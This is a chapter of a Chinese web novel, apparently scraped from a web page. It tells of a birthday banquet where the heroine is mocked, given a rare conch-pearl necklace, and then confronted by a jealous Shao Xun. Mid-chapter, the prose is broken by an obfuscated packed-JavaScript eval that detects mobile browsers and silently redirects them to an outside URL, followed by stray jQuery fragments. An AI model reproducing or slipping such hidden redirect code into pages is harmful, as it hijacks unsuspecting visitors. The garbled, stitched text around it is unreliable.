39. 第 39 章
作品:《旋覆花园》 梁峪宁的生日宴漫长又充满戏剧性,叶兰绡看足了戏。
不过,对梁峪宁这种家庭的人来说,小儿女的情感只能当茶余饭后的消遣,接下来才是这场生日宴真正的主题,各种信息交流和social。
叶兰绡看见好几个知名的金融大佬姗姗来迟,但他们一出现,便吸引了在场所有人的目光。
梁峪宁的爸爸热情又体面地迎了上去。梁峪荔也亲热地挽住了一个贵太太的手。
叶兰绡正要离开,背后突然传来熟悉的声音:“哇,叶兰绡,你还是那么穷那么可怜,连件像样的首饰都拿不出手。”张思泽盯着叶兰绡手上的沉檀手串嘲笑到。
张思泽和他爹妈也到场了。
张思泽的妈妈戴着夸张的祖母绿项链,那宝石大得像宴会厅里随风摆动的吊灯下的水晶。
叶兰绡很少关注别人的衣着首饰,此时环顾四周,确实每个女嘉宾都佩戴了昂贵的首饰。
原来高档珠宝是她们的入场券。
叶兰绡不想出风头,更不想和张思泽纠缠,旁若无人地转身走出会客厅。
她在梁峪宁家的花园里逛了逛,这个季节,高大的深山含笑早已过了花期,叶兰绡突然想起梁峪宁带她来看花的那个春天,那似乎是很多年前的事了。
她察觉自己的心境非常奇怪,那些不符合她年龄的苍凉不可抑制地冒了出来。
叶兰绡回到会客厅的拱廊处,准备向主人家辞行。
这时,她听到拱廊里面一个声音在问:“她就是叶兰绡啊,闻名不如见面呢,跟她那不识好歹的爹妈一路货色。”是张思泽母亲的声音。
叶兰绡心下巨震,原来张家人认识她的父母!
怪不得张思泽第一次见她就对她恶意满满。
她父母的死和张家人有没有关系?
叶兰绡脑子里闪过千头万绪,很多被她忽略的事渐渐开始浮出水面。
她突然对世代从医的张家充满了好奇,她要赶紧回去利用邵家的信息网查询一下张家的底细。
叶兰绡急急走进会客厅,准备向梁峪宁辞行。
梁峪宁却拉住她,说:“我的生日礼物呢?”
叶兰绡正要说什么,迎面走来一个人,把红酒洒在了叶兰绡上衣上。
“思泽,别作乱,”梁峪宁警告地看了张思泽一眼。
张思泽嘴里啧啧有声:“真是不好意思啊叶同学,弄脏了你的衣服呢,给你五十块,你快去买身新的。五十块钱应该够了哦~”
张思泽说着从兜里掏出一百块钱:“诶呀,没有五十块零钱,剩下五十块不用还我了,你用来补贴家用吧。”
梁峪宁暴怒,他上前揪住张思泽的领子,正要挥动拳头,叶兰绡在他身后死死拉住他。
但梁峪宁生起气来是不管不顾的,叶兰绡早就见识过了,她没指望自己能拉住他。
就在这时,一个温柔的声音突然出现,叫住了他:“阿宁,打人不是好孩子哦。”
原来是梁峪宁的母亲,刚刚从疗养院回来了。
梁峪宁赤红着眼睛看着梁母,梁母用手拍了拍梁峪宁的肩膀,帮他整理衣服上的褶子。
梁峪宁像施了定身咒似的,瞬间就偃旗息鼓了。
梁母牵起叶兰绡的手,带她去更衣室换衣服。
这是叶兰绡第一次这么近距离地看梁峪宁的母亲。
毫无疑问,她是一个不可多得的美人,岁月是厚待她的,即使快五十岁的年龄,说她三十多岁也是有人信的。
梁母像打扮洋娃娃一样打扮起叶兰绡,她给叶兰绡换了好几套晚礼服,叶兰绡平时穿得简单,少有穿得这么隆重的时候。
“我一直遗憾自己没有女儿,”梁母一边用卷发棒帮叶兰绡卷头发一边说,“你要是来当我的女儿,我不知道会有多高兴。”
叶兰绡早就听过她许多事,知道她的精神时而正常,时而不正常。
她祈祷梁母现在处在正常的时候,否则她担心她手里的卷发棒会烫伤自己或别人。
梁母的手很巧,很快帮叶兰绡做了个简单的造型。
接着,她又让女佣取来一件粉色的海螺珠项链。
海螺珠存世极为稀少,它原产自加勒比海,是一种无法像珍珠一样人工繁育的螺珠,每五万只大凤螺中只有一只会产海螺珠,而全世界每年仅有数百颗海螺珠能达到珠宝级。
像叶兰绡脖子上戴的这件,品级这么优越的,说是稀世珍宝也不为过。
叶兰绡不认识海螺珠,以为只是颜色比较罕见的珍珠,在她的印象里,珍珠不论多贵,都贵不到哪里去——反正不会像帝王绿、祖母绿一样的天价。
梁母满意地看了看叶兰绡的着装,说:“这是年轻时我母亲给我压箱底的陪嫁,颜色太粉嫩了,我现在戴已经不合适了,干脆送给你戴着玩吧。”
叶兰绡连忙推辞:“这怎么好意思呢。”
“只是一串小珠子罢了。”梁母不在意地说。
叶兰绡又在怀疑她的精神状态了,她不好断然拒绝梁母,怕引起她的精神波动,只能乖顺点头,说:“好的。”
无论贵重不贵重,到时候还给梁峪宁好了。
当梁母牵着叶兰绡走进宴会厅时,张家人已经被“请”了出去,全场的目光都凝驻在叶兰绡身上。
叶兰绡平时穿衣打扮喜欢让自己的美貌沉下去,但梁母的装扮让她的美貌空前浮了起来。
那一串粉色的海螺珠更衬出她的年轻和娇俏。
哪怕是心机深沉的大佬,也在她面前不知所措地同手同脚走路,露出少有的赤子的一面。
“天哪,看她脖子上那串天价海螺珠!”有人惊呼。
叶兰绡心下一惊,原来这串珠子很贵吗?她感觉自己的脖子都要烧了起来。
在场不少人已经暗自打听叶兰绡出自哪个名门贵族。
“A市有姓叶的世家大族吗?”人们交头接耳地交换着信息。
有人来邀请叶兰绡跳舞,被梁峪宁捷足先登了。
美丽的一男一女滑入了舞池。
叶兰绡一边跳舞一边对梁峪宁说:“我的衣服已经拿去速洗了,等下我会把身上的衣服和珠宝还给你们。”
“我母亲已经把这件小珠子送给你了,送出去的东西怎么能要回呢?”梁峪宁说。
“王瓒送你的手表你不也觉得太过贵重,受之有愧吗?”叶兰绡反驳到。
“王瓒和我母亲怎么会一样呢?王瓒对我别有用心,我母亲对你全然无私。”梁峪宁说。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196422|160510||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
叶兰绡气愤地想把项链摘下来,但她发现这件项链必须要有人辅助才能摘下来。她不由地叹了一口气。
叶兰绡去洗衣房取衣服,梁峪宁也跟了过去。
只见女佣拿着一个包装精美的盒子对她说:“叶小姐,不好意思,收拾衣物的时候这个盒子不小心从您的包里滑出来了。”
梁峪宁伸出头来,目光灼灼地看着那个盒子。
叶兰绡认命地闭上眼睛:“生日礼物。”
梁峪宁欣喜地接过女佣手里的盒子,他一直以为叶兰绡什么都不会送他,叶兰绡这个人,做什么都很认真,不真诚的文章不会写,不真诚的礼物也不会送,这是一种顶顶难得也顶顶难搞的品质。
梁峪宁打开盒子,看见里面沉静地躺着两枚青花袖扣。
他仔细看了看袖扣,发现上面的花纹他太过熟悉,问到:“这袖扣做了多久了?”
叶兰绡过了好一会儿才回答他:“高三的时候就做了。”
似乎怕梁峪宁误会,她连忙说:“感谢你曾经对我的维护以及你母亲的善意和慷慨。”
梁峪宁眼圈红红地看着这两枚袖扣:“你曾经……曾经……是不是喜欢过我?哪怕一秒?”
叶兰绡没有回答他,她衣服也不准备换了,项链也不想摘了,只想赶紧闪人。
叶兰绡拿起自己的包包和衣服,像被狗撵似的,火速逃离了梁家。
==
叶兰绡回到朝园的公寓时,已经晚上十点多了。
她一走进门,发现空调的温度极低,她不由打了个冷颤。
叶兰绡换上拖鞋,轻手轻脚地踩在地毯上。
邵峋应该睡了吧?她想。
她一回头,猛然看见邵峋悄无声息地坐在沙发里,像一尊冰雕似的,吓了一大跳。
四目相对间,叶兰绡发现邵峋的眼睛红得不正常。
叶兰绡隐隐觉得不对劲,想往自己的房间里逃,邵峋突然欺身上来,一把拽断了她脖子上的项链,粉色的海螺珠滚了一地。
叶兰绡心在滴血,但凡这珠子少了一颗,她都会不知如何跟梁峪宁的母亲交代。
万一她要她赔呢?她赔得起吗?
叶兰绡蹲下来捡珠子。
邵峋却并不如她的愿,一把把她扯到身前,拽着她往外走。
叶兰绡不知邵峋要把她带到哪里去。
邵峋的车在不远处的博物馆停下,此时博物馆已经歇业了,但不知为何,仍旧灯火通明。
邵峋把叶兰绡带到博物馆的第六层楼,叶兰绡对这个博物馆极为熟悉,知道第六层楼是从不对外开放的。
邵峋打开第六层楼的大门,眼前是一件又一件的珠宝,件件都是稀世珍宝,是邵家数千年的珍藏。
叶兰绡不知这里究竟有多少件珠宝,大概有上万件?
邵峋指着这些珠宝,对叶兰绡说:“你戴他的项链做什么?这里的珠宝全都是你的,可你在乎过吗?你一点都不稀罕!”
叶兰绡突然想起,邵峋的确有一次让她去六楼看看,她意兴阑珊地拒绝了。
“哪里是不在乎这些珠宝,你是一点也不在乎我。给梁峪宁的礼物揣在行李箱里揣了那么多年,到今天还在巴巴想着送给他。”邵峋恨恨地说。